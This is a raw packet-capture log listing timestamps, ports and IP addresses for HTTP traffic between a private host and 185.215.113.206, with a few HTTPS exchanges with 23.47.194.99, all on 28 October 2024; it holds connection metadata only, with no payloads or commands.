Oct 28, 2024 02:07:47.402908087 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.402915001 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.402915001 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.402920008 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.402932882 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.402944088 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.402951002 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.402957916 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.402968884 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.402971029 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.402983904 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.402993917 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.403012991 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.403012991 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.403088093 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.435960054 CET	443	49993	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:47.436252117 CET	49993	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:47.436265945 CET	443	49993	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:47.436676025 CET	443	49993	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:47.437036037 CET	49993	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:47.437103987 CET	443	49993	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:47.437256098 CET	49993	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:47.479372025 CET	443	49993	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:47.517904997 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.517988920 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.518016100 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.518059015 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.518073082 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.518089056 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.518121004 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.518132925 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.518143892 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.518150091 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.518155098 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.518198967 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.518214941 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.518214941 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.518230915 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.518259048 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.518282890 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.518296957 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.518315077 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.518327951 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.518347025 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.518352985 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.518358946 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.518369913 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.518377066 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.518383026 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.518388987 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.518399954 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.518407106 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.518413067 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.518434048 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.518443108 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.518474102 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.518618107 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.518649101 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.518661976 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.518676043 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.518687963 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.518702984 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.518714905 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.518738985 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.518750906 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.518762112 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.518769026 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.518824100 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.518824100 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.518838882 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.518852949 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.518870115 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.518902063 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.518912077 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.518923044 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.518929005 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.518934011 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.518945932 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.518949986 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.518953085 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.518994093 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.519011021 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.519028902 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.519042015 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.519076109 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.519084930 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.519084930 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.519160032 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.519213915 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.519226074 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.519237041 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.519248009 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.519260883 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.519273996 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.519279957 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.519287109 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.519294024 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.519294024 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.519350052 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.519350052 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.519509077 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.519526005 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.519566059 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.519593954 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.519599915 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.519604921 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.519615889 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.519623041 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.519629002 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.519639969 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.519645929 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.519655943 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.519658089 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.519670010 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.519670963 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.519678116 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.519682884 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.519700050 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.519706011 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.519710064 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.519722939 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.519725084 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.519728899 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.519736052 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.519741058 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.519752026 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.519768000 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.519769907 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.519782066 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.519793034 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.519802094 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.519802094 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.519804955 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.519815922 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.519828081 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.519828081 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.519890070 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.519925117 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.520032883 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.520044088 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.520061016 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.520071030 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.520081997 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.520090103 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.520095110 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.520108938 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.520150900 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.520150900 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.520178080 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.520189047 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.520201921 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.520214081 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.520224094 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.520230055 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.520255089 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.520255089 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.520270109 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.520281076 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.520291090 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.520297050 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.520301104 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.520313025 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.520329952 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.520330906 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.520342112 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.520353079 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.520361900 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.520361900 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.520365953 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.520378113 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.520392895 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.520395994 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.520406961 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.520420074 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.520426035 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.520431995 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.520442963 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.520448923 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.520454884 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.520467997 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.520468950 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.520492077 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.520498037 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.520519018 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.520550013 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.520560980 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.520579100 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.520598888 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.520628929 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.520651102 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.520668983 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.520685911 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.520737886 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.520749092 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.520760059 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.520770073 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.520772934 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.520787954 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.520802021 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.520802021 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.520804882 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.520817041 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.520828962 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.520842075 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.520843983 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.520852089 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.520858049 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.520879030 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.520879984 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.520903111 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.520905972 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.520931005 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.521068096 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.613204002 CET	443	49993	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:47.613302946 CET	443	49993	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:47.613461971 CET	443	49993	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:47.613464117 CET	49993	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:47.617386103 CET	49993	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:47.617763996 CET	49993	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:47.617775917 CET	443	49993	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:47.624730110 CET	49999	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:47.624777079 CET	443	49999	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:47.624850988 CET	49999	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:47.625052929 CET	49999	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:47.625070095 CET	443	49999	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:47.634659052 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.634686947 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.634702921 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.634742022 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.634767056 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.634778976 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.634789944 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.634795904 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.634814024 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.634874105 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.634886026 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.634885073 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.634898901 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.634927988 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.634944916 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.634985924 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.634995937 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.635008097 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.635018110 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.635030985 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.635042906 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.635051966 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.635066032 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.635078907 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.635097980 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.635102987 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.635113955 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.635132074 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.635133028 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.635143995 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.635163069 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.635170937 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.635190964 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.635260105 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.635539055 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.635585070 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.635601044 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.635653973 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.635653973 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.635674000 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.635685921 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.635696888 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.635709047 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.635720968 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.635724068 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.635724068 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.635737896 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.635750055 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.635761023 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.635761023 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.635780096 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.635791063 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.635807037 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.635850906 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.635862112 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.635874033 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.635884047 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.635929108 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.635929108 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.635957956 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.636051893 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.636064053 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.636076927 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.636079073 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.636090994 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.636102915 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.636106968 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.636121035 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.636138916 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.636147022 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.636147022 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.636173010 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.636183023 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.636200905 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.636207104 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.636212111 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.636220932 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.636231899 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.636244059 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.636255026 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.636260033 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.636282921 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.636316061 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.636327982 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.636338949 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.636344910 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.636354923 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.636368036 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.636377096 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.636383057 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.636383057 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.636418104 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.636445045 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.636491060 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.636502981 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.636514902 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.636527061 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.636593103 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.636605024 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.636615992 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.636620045 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.636643887 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.636643887 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.636643887 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.636657000 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.636666059 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.636666059 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.636672974 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.636683941 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.636693001 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.636707067 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.636727095 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.636768103 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.636836052 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.636847973 CET	80	49967	185.215.113.206	192.168.2.6
